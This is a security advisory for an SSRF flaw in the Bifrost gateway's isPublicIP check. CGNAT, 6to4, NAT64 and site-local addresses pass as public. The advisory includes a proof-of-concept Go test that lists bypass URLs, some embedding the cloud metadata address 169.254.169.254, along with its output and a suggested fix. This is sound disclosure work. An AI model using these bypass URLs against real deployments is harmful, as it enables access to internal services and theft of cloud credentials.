GHSA-w98g-5w9p-p3rc

## Summary

`isPublicIP` in `core/providers/utils/fetch.go` — the SSRF deny-list that gates `FetchAndEncodeURL` — does not reject several routable address ranges that map onto internal infrastructure. Carrier-Grade NAT (`100.64.0.0/10`, RFC 6598), IPv6 6to4 (`2002::/16`), NAT64 (`64:ff9b::/96` and `64:ff9b:1::/48`), and deprecated IPv6 site-local (`fec0::/10`) are all classified as public and permitted. An attacker who controls a multimodal image/document URL in a Bedrock or Vertex request body can drive the gateway to fetch internal services it should not reach — including the cloud instance-metadata endpoint via the 6to4 / NAT64 embeddings of `169.254.169.254`.

The rest of the fetch hardening is correct and is **not** part of this report: the dial-time `LookupIP` + pin to `ips[0]` closes the DNS-rebinding TOCTOU, `CheckRedirect` re-validates redirect targets, the scheme gate, the 25 MiB cap, and the 20 s timeout all work. This is purely a residual IP-classification gap in `isPublicIP`.

## Affected component

- File: `core/providers/utils/fetch.go`, function `isPublicIP` (lines 107-118), reached only through `FetchAndEncodeURL` (line 28). - Go module: `github.com/maximhq/bifrost/core` - Version: confirmed on the current `dev` HEAD `f415c144678bd4b411d74a1c1f85f18652833224` (`core/version` = `1.5.15`).

## Vulnerable code

```go func isPublicIP(ip net.IP) bool { addr, ok := netip.AddrFromSlice(ip) if !ok { return false } addr = addr.Unmap() if addr.IsLoopback() || addr.IsPrivate() || addr.IsLinkLocalUnicast() || addr.IsLinkLocalMulticast() || addr.IsMulticast() || addr.IsUnspecified() || addr.IsInterfaceLocalMulticast() { return false } return true } ```

`addr.IsPrivate()` covers only RFC 1918 + RFC 4193 (`fc00::/7`); it does **not** cover CGNAT `100.64.0.0/10`. `addr.Unmap()` only collapses the `::ffff:0:0/96` IPv4-mapped form, so 6to4 (`2002::/16`) and NAT64 (`64:ff9b::/96`, `64:ff9b:1::/48`) IPv6 representations of internal/link-local IPv4 are never reduced to their embedded address and slip past every check. `fec0::/10` (deprecated IPv6 site-local) is likewise not matched by any of the helpers used.

## Attack surface / who can trigger it

`FetchAndEncodeURL` is invoked from the multimodal request-handling path of two providers:

- `core/providers/bedrock/utils.go:1073` (document `block.File.FileURL`), `:1187` (image URL via `convertImageToBedrockSource`) - `core/providers/vertex/vertex.go:402` (document `block.File.FileURL`)

These URLs come straight from the client's chat-completion request body (a remote image/document URL in a multimodal content block). `SanitizeImageURL` (`core/schemas/utils.go:180`) only checks the scheme and a non-empty host — it performs no address filtering — so `isPublicIP` is the sole network guard, and it is always on (no opt-out flag). On a multi-tenant or shared gateway deployment, any client able to send a request can choose the fetch target.

## Impact

Server-side request forgery from the gateway into internal address space that the deny-list intends to block:

- **CGNAT `100.64.0.0/10`** — reachable anywhere the internal fabric uses RFC 6598 space (common in Kubernetes overlay networks and cloud NAT fabrics). Live on any such host with no extra preconditions. - **6to4 `2002:a9fe:a9fe::` and NAT64 `64:ff9b::a9fe:a9fe`** — both embed `169.254.169.254`, the cloud instance-metadata endpoint. On a dual-stack or NAT64-enabled host (the default on AWS/GCP IPv6-only subnets) these reach IMDS even though the direct `169.254.169.254` and `::ffff:169.254.169.254` forms are correctly blocked. - **`fec0::/10`** — deprecated site-local, still routed on some networks.

CWE-918 (Server-Side Request Forgery). Self-discovered while reviewing IP-classification deny-lists; the missing dimensions match the classes accepted as HIGH in the canonical references below.

## Proof of concept

A test placed in-package (`core/providers/utils/`) drives the **real** `FetchAndEncodeURL` — real `http.Client`, real `Transport.DialContext`, real `isPublicIP` — and classifies each target by whether `isPublicIP` let it past the gate. A `blocked fetch to non-public address` error means the gate rejected it before any dial (safe); any other outcome means the gate permitted the dial to a forbidden range (SSRF reachable).

```go package utils

import ( "context" "fmt" "strings" "testing" "time" )

func TestSSRFGateDecision(t *testing.T) { cases := []struct{ name, url string }{ {"CGNAT-100.64", "http://100.64.1.1:9/"}, {"CGNAT-100.127", "http://100.127.255.254:9/"}, {"6to4-IMDS", "http://[2002:a9fe:a9fe::]:9/"}, {"NAT64-IMDS", "http://[64:ff9b::a9fe:a9fe]:9/"}, {"NAT64-local-IMDS", "http://[64:ff9b:1::a9fe:a9fe]:9/"}, {"sitelocal-fec0", "http://[fec0::1]:9/"}, // controls (must be rejected at the gate): {"CONTROL-direct-IMDS", "http://169.254.169.254:9/"}, {"CONTROL-RFC1918", "http://10.0.0.1:9/"}, {"CONTROL-loopback", "http://127.0.0.1:9/"}, {"CONTROL-mapped-IMDS", "http://[::ffff:169.254.169.254]:9/"}, } for _, c := range cases { ctx, cancel := context.WithTimeout(context.Background(), 4*time.Second) _, _, err := FetchAndEncodeURL(ctx, c.url) cancel() gateBlocked := err != nil && strings.Contains(err.Error(), "blocked fetch to non-public address") fmt.Printf("%-22s gateBlock=%-6v %v\n", c.name, gateBlocked, err) } } ```

Verbatim output (`go test ./providers/utils/ -run TestSSRFGateDecision -v` against HEAD `f415c14`, Go 1.26.1):

``` === bifrost FetchAndEncodeURL SSRF gate decision (REAL code path) === target gateBlock verbatim error / outcome ---------------------------------------------------------------------------------------------------- CGNAT-100.64 false failed to fetch from "http://100.64.1.1:9/": Get "http://100.64.1.1:9/": context deadline exceeded CGNAT-100.127 false failed to fetch from "http://100.127.255.254:9/": Get "http://100.127.255.254:9/": context deadline exceeded 6to4-IMDS false failed to fetch from "http://[2002:a9fe:a9fe::]:9/": Get "http://[2002:a9fe:a9fe::]:9/": EOF NAT64-IMDS false failed to fetch from "http://[64:ff9b::a9fe:a9fe]:9/": Get "http://[64:ff9b::a9fe:a9fe]:9/": context deadline exceeded NAT64-local-IMDS false failed to fetch from "http://[64:ff9b:1::a9fe:a9fe]:9/": Get "http://[64:ff9b:1::a9fe:a9fe]:9/": context deadline exceeded sitelocal-fec0 false failed to fetch from "http://[fec0::1]:9/": Get "http://[fec0::1]:9/": EOF CONTROL-direct-IMDS true failed to fetch from "http://169.254.169.254:9/": Get "http://169.254.169.254:9/": blocked fetch to non-public address 169.254.169.254 CONTROL-RFC1918 true failed to fetch from "http://10.0.0.1:9/": Get "http://10.0.0.1:9/": blocked fetch to non-public address 10.0.0.1 CONTROL-loopback true failed to fetch from "http://127.0.0.1:9/": Get "http://127.0.0.1:9/": blocked fetch to non-public address 127.0.0.1 CONTROL-mapped-IMDS true failed to fetch from "http://[::ffff:169.254.169.254]:9/": Get "http://[::ffff:169.254.169.254]:9/": blocked fetch to non-public address 169.254.169.254 ```

Reading the result: every control (direct IMDS, RFC 1918, loopback, IPv4-mapped IMDS) is rejected **at the gate** with `blocked fetch to non-public address` and no socket is ever opened. Every CGNAT / 6to4 / NAT64 / site-local target instead passes `isPublicIP` and proceeds to the network dial — observed as `context deadline exceeded` or `EOF` (a real connection attempt), never `blocked fetch to non-public address`. The `blocked` vs `dial-attempted` split isolates the `isPublicIP` classification defect precisely.

A standalone re-check of the verbatim `isPublicIP` body confirms the classification directly (Go 1.26.1):

``` 100.64.0.1 isPublicIP=true (CGNAT — should be blocked) 100.127.255.254 isPublicIP=true (CGNAT) 2002:a9fe:a9fe:: isPublicIP=true (6to4 -> 169.254.169.254) 64:ff9b::a9fe:a9fe isPublicIP=true (NAT64 -> 169.254.169.254) 64:ff9b:1::a9fe:a9fe isPublicIP=true (NAT64 local-use -> 169.254.169.254) fec0::1 isPublicIP=true (deprecated site-local) 169.254.169.254 isPublicIP=false (direct IMDS — correctly blocked, control) ::ffff:169.254.169.254 isPublicIP=false (IPv4-mapped — correctly blocked, control) 8.8.8.8 isPublicIP=true (public — correctly allowed, control) ```

### Honest scope note

The test host used for verification has no CGNAT/NAT64 routing that returns to a local recorder, so I did not capture live instance-metadata bytes here — the connection lands on the upstream NAT or times out. The 6to4/NAT64 vectors require a dual-stack or NAT64-enabled host to reach IMDS, and the CGNAT vector requires the deployment's internal network to use `100.64.0.0/10`. These are the same routing preconditions the references below were accepted under. The defect demonstrated above is unconditional: `isPublicIP` permits the forbidden ranges on every host.

## References (canonical dimension precedents)

- CVE-2026-45741 / GHSA-86m8-88fq-xfxp — Gotenberg `IsPublicIP` IPv6 6to4 / NAT64 / site-local bypass; same Go `netip` + `Unmap` gap. - GHSA-5jh9-2h63-pw4q — CC-Tweaked NAT64 (`64:ff9b::/96`) bypass; their fix adds `isCarrierGradeNatAddress` (CGNAT) + NAT64 handling.

## Suggested fix

In `isPublicIP`, after `Unmap()`:

1. Reject CGNAT: `100.64.0.0/10` for IPv4 (and the `::ffff:100.64.0.0/106` mapped form is already handled by `Unmap`). 2. For IPv6, extract any embedded IPv4 and re-run the classification on it: 6to4 (`2002::/16` -> bytes 2-5), NAT64 well-known (`64:ff9b::/96`) and local-use (`64:ff9b:1::/48`) -> low 32 bits. Then apply the same loopback/private/link-local/CGNAT checks to the extracted IPv4. 3. Reject deprecated site-local `fec0::/10`.